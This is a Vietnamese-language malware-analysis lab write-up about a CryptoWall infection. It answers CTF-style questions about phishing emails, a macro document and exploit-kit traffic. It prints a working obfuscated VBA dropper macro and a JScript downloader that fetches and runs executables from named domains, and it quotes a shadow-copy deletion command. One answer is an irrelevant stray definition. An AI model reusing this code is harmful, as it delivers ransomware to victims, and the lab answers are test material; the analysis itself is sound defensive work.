Malware analysis 6

1. Vòng đời lây nhiễm (The Kill-Chain)
- Xâm nhập (Delivery): CryptoWall thường sử dụng hai véc-tơ tấn công chính:
- Malspam: Gửi các email lừa đảo (phishing) chứa tệp đính kèm độc hại. Chúng thường ngụy trang dưới dạng hóa đơn, biên lai (
.zip,.pdfgiả mạo, hoặc các file.chm- Compiled HTML Help). - Exploit Kits (EK): Lợi dụng các lỗ hổng trình duyệt (Flash, Java) thông qua các bộ công cụ như Angler hoặc Nuclear. Kịch bản này rất giống với cơ chế Drive-by Download mà chúng ta thường thấy khi mổ xẻ các gói tin mạng độc hại.
- Malspam: Gửi các email lừa đảo (phishing) chứa tệp đính kèm độc hại. Chúng thường ngụy trang dưới dạng hóa đơn, biên lai (
- Thực thi và Ẩn mình (Execution & Persistence): Khi xâm nhập thành công, nó tự sao chép vào thư mục
%APPDATA%hoặc%TEMP%và tạo các khóa Registry (nhưRunhoặcRunOnce) để đảm bảo nó luôn khởi chạy cùng hệ điều hành. Nó cũng thường "tiêm" (inject) mã độc vào các tiến trình hợp lệ nhưexplorer.exehoặcsvchost.exeđể qua mặt hệ thống phòng thủ. - Kết nối C2 (Command & Control): Trước khi bắt đầu mã hóa, nó bắt buộc phải liên lạc về máy chủ điều khiển để lấy khóa mã hóa công khai (Public Key). CryptoWall sử dụng các lớp mã hóa riêng biệt cho quá trình giao tiếp này để tránh bị các công cụ Network Forensics tóm gọn.
- Mã hóa và Tiêu hủy đường lùi (Encryption & Impact):
- Sử dụng thuật toán mã hóa cực mạnh (thường là RSA-2048), biến các tệp tài liệu, hình ảnh, cơ sở dữ liệu thành dữ liệu vô nghĩa không thể đọc được.
- Hành vi đặc trưng: Nó sẽ gọi lệnh
vssadmin.exe Delete Shadows /All /Quietđể xóa toàn bộ các bản sao lưu Volume Shadow Copies của Windows. Đây là đòn chí mạng ngăn chặn nạn nhân khôi phục tệp miễn phí.
- Tống tiền (Extortion): Nó để lại các tệp văn bản hoặc HTML (như
HELP_DECRYPT.txt) trong mọi thư mục bị mã hóa, hướng dẫn nạn nhân tải trình duyệt Tor và trả tiền chuộc bằng Bitcoin.
2. Sự tiến hóa qua các thế hệ
Sự nguy hiểm của CryptoWall nằm ở chỗ nó liên tục được nâng cấp để né tránh các nỗ lực phân tích:
- CryptoWall 1.0 & 2.0: Xây dựng nền tảng mã hóa cơ bản và tích hợp mạng ẩn danh Tor để che giấu máy chủ C2.
- CryptoWall 3.0: Bổ sung giao thức I2P (Invisible Internet Project) - một mạng ẩn danh khác phức tạp hơn Tor, khiến việc truy vết IP gốc của kẻ tấn công gần như bất khả thi.
- CryptoWall 4.0: Đây là một bản nâng cấp mang tính "khủng bố" tinh thần. Thay vì chỉ mã hóa nội dung tệp, nó mã hóa luôn cả tên tệp tin (ví dụ:
baocao_quy_1.docxbiến thành12b8a.7c2). Điều này khiến nạn nhân cực kỳ hoảng loạn vì họ thậm chí không biết mình vừa bị mất những dữ liệu quan trọng nào.
3. Dấu hiệu nhận biết (Indicators of Compromise)
Đối với lực lượng giám sát an ninh mạng, việc phát hiện sớm CryptoWall thường dựa trên các manh mối sau:
- Lưu lượng mạng DNS truy vấn tới các tên miền sinh ra bằng thuật toán ngẫu nhiên (DGA).
- Sự gia tăng đột biến về các hoạt động I/O trên ổ cứng do quá trình đọc/ghi mã hóa hàng loạt.
- Cảnh báo thực thi lệnh
vssadmin.exehoặcbcdedit.exetừ một tiến trình không phải của quản trị viên hệ thống.
Câu hỏi
Q1 c42-MTA6-1022-UTC: What is the attachment file name?
A src file (or src directory) stands for source, containing the raw, human-readable programming code (e.g., .java, .cpp, .py) before it is compiled or interpreted into a runnable application
Q2 c42-MTA6-1022-UTC: The attachment contains malware. When was the malware first submitted to virustotal?
2015-09-11 10:26:43
Q3 c42-MTA6-1022-UTC: Provide the FQDN contacted by the malware?

Q4 c42-MTA6-1422-UTC: What was the malicious document's creation time? (one space between date and time).
2015-06-24 11:31
Q5 c42-MTA6-1422-UTC: Which stream contains the macro? (provide stream number).
3
Dùng oledump.py
Q6 c42-MTA6-1422-UTC: What is the sha256 hash of the executable malware?
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
zGCwkKBGTOs
End Sub
Sub zGCwkKBGTOs()
Dim ezbVRLGmmo As String
Dim iqvhxHmFSdrrP As String
Dim iYwihdJA As Integer
Dim bvNUjgU As String
Dim VBJeJNNj As Byte
Dim dRZAVyCRqn As Paragraph
Dim XhnzHZgleilRL As Long
Dim CAMGDebZMD As Integer
Dim splRmDLtFg As String
Dim eOqQRgYctMzmuZ As String
Dim dsuvHC As String
Dim MniQXWEhfv As Boolean
Dim QbhrXGT As Integer
bvNUjgU = "zqnuhsi&H46&H55&H43&H4B2&H047&H44&H41&H54&H41&H21"
splRmDLtFg = "exe"
eOqQRgYctMzmuZ = "iaEhcYUCk" + "o"
HHRSydvjwaq = "."
ezbVRLGmmo = eOqQRgYctMzmuZ + HHRSydvjwaq + splRmDLtFg
YqPyWrU
iYwihdJA = FreeFile()
AGRVOkemteQ
Debug.Print ("After OnTime: " & Now)
Dim opobUCTy As String
Dim LyunJq As String
Dim cBFXXhV As String
Dim dtxmeZtrxOLted As String
Dim XtibNFnRE As Document
Set dEqXIBDNuKqF = CreateObject("Sc" + "riptContro" + "l")
dEqXIBDNuKqF.Language = "VBS" + "cri" + "p" + "t"
opobUCTy = "ActiveDocumen" + "t" + "."
cBFXXhV = "Paragraph" + "s"
LyunJq = opobUCTy + cBFXXhV
Set VeZpOpVh = GetObject(, "word" + ".Applic" + "atio" + "n")
On Error GoTo JFhYAolPD
dEqXIBDNuKqF.AddObject "Obj", VeZpOpVh
Dim FwKeQXNgqxMxvnL As Boolean
FwKeQXNgqxMxvnL = False
Dim DhvFHjK As Boolean
DhvFHjK = True
JFhYAolPD:
For Each dRZAVyCRqn In dEqXIBDNuKqF.Eval("Obj." & LyunJq)
hPuJZIlGpcz (dRZAVyCRqn)
iqvhxHmFSdrrP = dRZAVyCRqn.Range.Text
Debug.Print ("After OnTime: " & Now)
If (MniQXWEhfv = True) Then
XhnzHZgleilRL = (37 - 36)
Dim VCAMcIBwsA As Integer
VCAMcIBwsA = (68 - 64)
While (XhnzHZgleilRL < Len(iqvhxHmFSdrrP))
VBJeJNNj = Mid(iqvhxHmFSdrrP, XhnzHZgleilRL, VCAMcIBwsA)
Debug.Print ("After OnTime: " & Now)
Put #iYwihdJA, , VBJeJNNj
XhnzHZgleilRL = XhnzHZgleilRL + (7 - 3)
Wend
ElseIf (InStr((88 - 87), iqvhxHmFSdrrP, bvNUjgU) > (64 - 64) And Len(iqvhxHmFSdrrP) > (27 - 27)) Then
MniQXWEhfv = DhvFHjK
End If
Next
Debug.Print ("After OnTime: " & Now)
If (FwKeQXNgqxMxvnL = True) Then
MsgBox ("FUCK AV")
Else
Close #iYwihdJA
End If
HYUzMcPhknOwSHA (ezbVRLGmmo)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub HYUzMcPhknOwSHA(ezbVRLGmmo As String)
Dim dsuvHC As String
Dim dphUNjFKvsin As Object
Dim QbhrXGT As Integer
dsuvHC = Environ("USERPROFIL" + "E")
ChDrive (dsuvHC)
ChDir (dsuvHC)
Debug.Print ("After OnTime: " & Now)
Set dphUNjFKvsin = VBA.CreateObject("WSc" + "ript" + ".She" + "l" + "l")
On Error Resume Next
dphUNjFKvsin.Run (ezbVRLGmmo)
TdkFfShCkIHO
End Sub
Sub hPuJZIlGpcz(fVXCWogxUYsIi)
DoEvents
End Sub
Sub AGRVOkemteQ()
Dim splRmDLtFg As String
Dim ezbVRLGmmo As String
Dim eOqQRgYctMzmuZ As String
Dim iYwihdJA As Integer
Dim HHRSydvjwaq As String
eOqQRgYctMzmuZ = "iaEhcYUCko"
HHRSydvjwaq = "."
splRmDLtFg = "exe"
ezbVRLGmmo = eOqQRgYctMzmuZ + HHRSydvjwaq + splRmDLtFg
iYwihdJA = FreeFile()
Open ezbVRLGmmo For Binary As iYwihdJA
End Sub
Sub TdkFfShCkIHO()
Word.ActiveDocument.Range.Select
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=(53 - 52)
Dim hnyvtVpsnYB As Word.Document
Set hnyvtVpsnYB = ThisDocument
hnyvtVpsnYB.Range.InsertParagraphAfter
hnyvtVpsnYB.Range.InsertAfter "" + vbLf
End Sub
Sub YqPyWrU()
dsuvHC = Environ("USERPRO" + "FIL" + "E")
ChDrive (dsuvHC)
ChDir (dsuvHC)
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Các hàm Auto_Open(), AutoOpen(), và Workbook_Open() để bảo đảm rằng hàm lõi zGCwkKBGTOs sẽ được kích hoạt khi mở
Kĩ thuật defense evasion và obfuscation:
WSc" + "ript" + ".She" + "l" + "l"hoặc"USERPRO" + "FIL" + "E".XhnzHZgleilRL = (37 - 36),VCAMcIBwsA = (68 - 64)- gọi trực tiếp
ActiveDocument.Paragraphstrong VBA (rất dễ bị tóm bởi AMSI hoặc các công cụ nhưolevba), mã độc tạo một đối tượngScriptControlchạy bằng ngôn ngữ VBScript để gọi gián tiếp. Điều này giúp qua mặt các rule kiểm tra hành vi tĩnh của VBA.
Phân tích hàm zGCwkKBGTOs)
- Thiết lập thư mục và tạo file:
Hàm
YqPyWrUsẽ chuyển thư mục làm việc hiện tại (Current Directory) về thư mục gốc của người dùng (%USERPROFILE%, thường làC:\Users\<Username>). HàmAGRVOkemteQsẽ tạo một file trống có tên làiaEhcYUCko.exetại thư mục đó và mở nó ở chế độ nhị phân (Binary) để chuẩn bị ghi dữ liệu. - Săn lùng Payload ẩn trong tài liệu:
Macro sử dụng vòng lặp
For Each dRZAVyCRqn In dEqXIBDNuKqF.Eval("Obj." & LyunJq)để duyệt qua từng đoạn văn (Paragraph) trong file Word. Nó tìm kiếm một "cờ đánh dấu" (marker) cụ thể là chuỗi:zqnuhsi&H46&H55&H43&H4B2&H047&H44&H41&H54&H41&H21. Lưu ý: Nếu giải mã đoạn mã Hex&H...kia ra ASCII, bạn sẽ thấy nó có nghĩa là chữ "FUCK_DATA!". - Trích xuất và Ghi (Extraction & Writing):
Khi tìm thấy đoạn văn chứa cờ đánh dấu, biến cờ
MniQXWEhfvbật sangTrue. Macro bắt đầu đọc các chuỗi ký tự tiếp theo trong văn bản (chính là mã nhị phân của file.exeđã được chuyển đổi thành chuỗi văn bản - text, thường là mã Hex). Nó dùng lệnhMidđể cắt từng 4 ký tự một (VCAMcIBwsA = 4) và dùng lệnhPutđể ghi trực tiếp các byte này vào fileiaEhcYUCko.exe.
Kích nổ và Xóa dấu vết (Anti-Forensics)
Sau khi toàn bộ dữ liệu đã được ghi ra thành file .exe hoàn chỉnh, macro tiến hành các bước cuối cùng:
- Kích nổ (Execution): Hàm
HYUzMcPhknOwSHAkhởi tạoWScript.Shellvà chạy lệnhdphUNjFKvsin.Run (ezbVRLGmmo). Tại thời điểm này, tiến trìnhiaEhcYUCko.exechính thức chạy ngầm trên máy nạn nhân. - Tiêu hủy bằng chứng (Anti-Forensics):
Hàm
TdkFfShCkIHOsẽ được gọi. Nó bôi đen toàn bộ nội dung của file Word (Selection.WholeStory) và xóa sạch sành sanh (Selection.Delete), sau đó chèn một dòng trống (vbLf). Mục đích là khi nạn nhân nhìn vào màn hình, họ chỉ thấy một trang Word trắng tinh, nhưng mã độc thì đã nằm gọn trong ổ cứng và đang chạy. Phân tích viên nếu thu thập mẫu tài liệu muộn cũng sẽ chỉ thấy một trang giấy trắng, mất đi phần payload mã hex dùng để dịch ngược.
Trích xuất IOCs (Indicators of Compromise)
- File Path:
%USERPROFILE%\iaEhcYUCko.exe - Tiến trình sinh ra (Process Lineage):
WINWORD.EXE->cmd.exe(hoặcwscript.exe) ->iaEhcYUCko.exe - VBA Keywords khả nghi:
ScriptControl,Put #,FreeFile,WScript.Shell,.Delete Unit:=wdCharacter
Sau khi mở file doc thì thấy mã độc ở trên cùng với payload ở dưới

Ta copy mã độc ra và dùng cyberchef để chuyển thành exe

09cce2a039bf72e9c9896e475556563c00c467dc59d2535b0a0343d6741f9921
Q7 c42-MTA6-1557-UTC: What is the full URL of the fake login page?

http://www.smkind.co.za/Images/Buttons/13v.php
Q8 c42-MTA6-1839-UTC: How many domains are present in the JS file?
Email 4 có file America_Airlines_Ticket_0000321424.doc.js

Dùng AI hỗ trợ
var str = "5550565E07080B1100090110160D071749010516081D050707011717241605070F17140507014A070B09";
function dl(fr) {
// 1. Danh sách các máy chủ C2/Payload
var b = "ihaveavoice2.com laterrazzafiorita.it idsecurednow.com".split(" ");
// 2. Khởi tạo đối tượng WSH và tạo đường dẫn file ngẫu nhiên
var ws = new ActiveXObject("WScript.Shell");
// Sử dụng Math.random() để tạo tên file ngẫu nhiên (VD: C:\Users\Admin\AppData\Local\Temp\12345678.exe)
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
var xo = new ActiveXObject("MSXML2.XMLHTTP");
var xa = new ActiveXObject("ADODB.Stream");
var dn = 0;
// 3. Vòng lặp tải payload
for (var i = 0; i < b.length; i++) {
try {
// Gửi request GET tải mã độc
xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + str, false);
xo.send();
// Kiểm tra kết nối thành công (Status 200)
if (xo.readyState == 4 && xo.status == 200) {
xa.open();
xa.type = 1; // adTypeBinary
xa.write(xo.responseBody);
// Kiểm tra dung lượng file tải về lớn hơn 5000 bytes (5KB)
if (xa.size > 5000) {
dn = 1;
xa.position = 0;
xa.saveToFile(fn, 2); // Lưu đè nếu đã tồn tại
try {
// Kích hoạt Payload
ws.Run(fn, 1, 0);
} catch (er) {};
}
xa.close();
}
if (dn == 1) break;
} catch (er) {};
}
}
// 4. Kích hoạt hàm với tham số ngẫu nhiên
dl(682461);
Dễ dàng thấy có 3 domain
Q9 c42-MTA6-1839-UTC: The JS code is checking for a specific HTTP response code. What is the response code being checked?
200
Q10 The victim received multiple emails and opened only one of them. Which one did he open? (provide the full eml file name).

File mã hóa có hash trùng với file exe được tạo ra trong file Patricia_Daniel_resume.doc
→ c42-MTA6-1422-UTC.eml
| 104.28.9.93 [www.prideorganizer.com.cdn.cloudflare.net] [www.prideorganizer.com] | 192.168.137.56 [Franklion-PC] [FRANKLION-PC] (Windows) | |
|---|---|---|
| 192.168.137.56 | 204.79.197.200 bing | |
| 216.58.216.67 google | ||
| 216.245.212.78 [randt.smittysautomart.org] | ||
| 216.58.216.78 google | ||
| 31.13.74.52 [scontent-a.cdninstagram.com] [scontent-b.cdninstagram.com] | 192.168.137.56 | |
| 67.222.30.115 [mergersandinquisitions.com] [www.mergersandinquisitions.com] | ||
| 128.177.96.56 akamai | ||
| 69.49.96.13 [altmangc.com] | ||
| 23.235.44.249 [fallback.global-ssl.fastly.net] [global-ssl.fastly.net] [fast.wistia.com] | ||
| 31.13.74.1 facebook |
Q11 What is the IP address of the victim machine?
192.168.137.56
Q12 What is the name of the exploit kit used to deliver the malware? (one word).
Angler tìm hash là ra
Q13 Which IP address served the exploit?
216.245.212.78
Q14 What is the FQDN of the compromised website that redirected the victim to the attacker's server hosting the Exploit Kit?
